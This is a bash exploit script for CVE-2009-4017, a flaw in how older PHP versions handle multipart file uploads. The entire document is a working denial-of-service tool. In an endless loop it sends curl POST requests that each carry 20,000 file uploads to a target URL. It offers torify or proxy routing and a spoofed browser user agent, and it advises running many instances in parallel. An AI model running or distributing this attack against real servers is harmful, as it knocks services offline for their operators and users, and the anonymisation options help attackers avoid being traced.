#!/bin/bash
#
# CVE-2009-4017
#
# PHP versions before 5.3.1 contain a flow in the way multipart/form-data
# handled file upload requests. A user making a specially crafted request could
# cause the web server to consume resources processing the request.
#
# http://lists.grok.org.uk/pipermail/full-disclosure/2009-November/071543.html
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4017
#
# Requires: 
# * bash >= v2.0.3
# * dd
# * curl
# * <whatever you put for 'CURLPREFIX' below>
#
# Note: To be effective, you should run multiple instances in parallel.
#

# Target
#URL='http://nouser:nopasswd@127.0.0.1:8000/p/a/t/h/file/?param=value'
#URL='http://127.0.0.1/'
URL=$1

# Web browser user agent to emulate
USERAGENT='Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'

# Command to prefix curl invocation with 
# (socat, torify, http_proxy=...)
#CURLPREFIX=torify
CURLPREFIX=

# TCP connect timeout
TCPCONNECTTIMEOUT=600

# HTTP request timeout
HTTPREQUESTTIMEOUT=600

# Source for upload file (to be byte copied)
RANDOMSRC=/dev/urandom

# Where to store the upload file
UPLOADFILE=/tmp/myrandom

# Size of the file to be uploaded (in bytes)
UPLOADFILESIZE=1

# How many files to upload per request
NUMUPLOADS=20000

# Additional curl options, cf. 'man curl'
#CURLEXTRAOPTS='--trace-ascii /tmp/mycurltrace --trace-time'
CURLEXTRAOPTS=

# Comment out the following line once you've configured this file and ensured 
# the requirements (listed above) are met.
#echo 'Not configured.' >&2; exit 1

################################################################################
## Don't touch the stuff below unless you fought the Vorticons in the 90ies.  ##
################################################################################

CVE=CVE-2009-4017
REVISION=00001

echo '###############################'
echo '##### '"$CVE $REVISION"' #####'
echo '###############################'
echo
if [[ "$URL" == '' ]]
then
  echo 'ERROR: Please pass a target URL.' >&2
  exit 1
fi
echo 'Target: '"$URL"
echo
echo '* Creating upload file...'
dd if="$RANDOMSRC" of="$UPLOADFILE" ibs="$UPLOADFILESIZE" count=1 status=noxfer >/dev/null 2>&1
echo
echo '* Initiating requests (Ctrl-C to cancel)...'
echo
while [[ true ]]; 
do 
  CURLUPLOADPARAM="$( for ((COUNT=1;COUNT<=${NUMUPLOADS};COUNT++)); do echo -n '-F '"${RANDOM}"'=@'"${UPLOADFILE}"';filename='"${RANDOM}"' '; done )"
  $CURLPREFIX curl -o /dev/null --insecure --post301 --post302 --user-agent "$USERAGENT" --connect-timeout $TCPCONNECTTIMEOUT --max-time $HTTPREQUESTTIMEOUT $CURLEXTRAOPTS $CURLUPLOADPARAM "$URL"
  echo
done
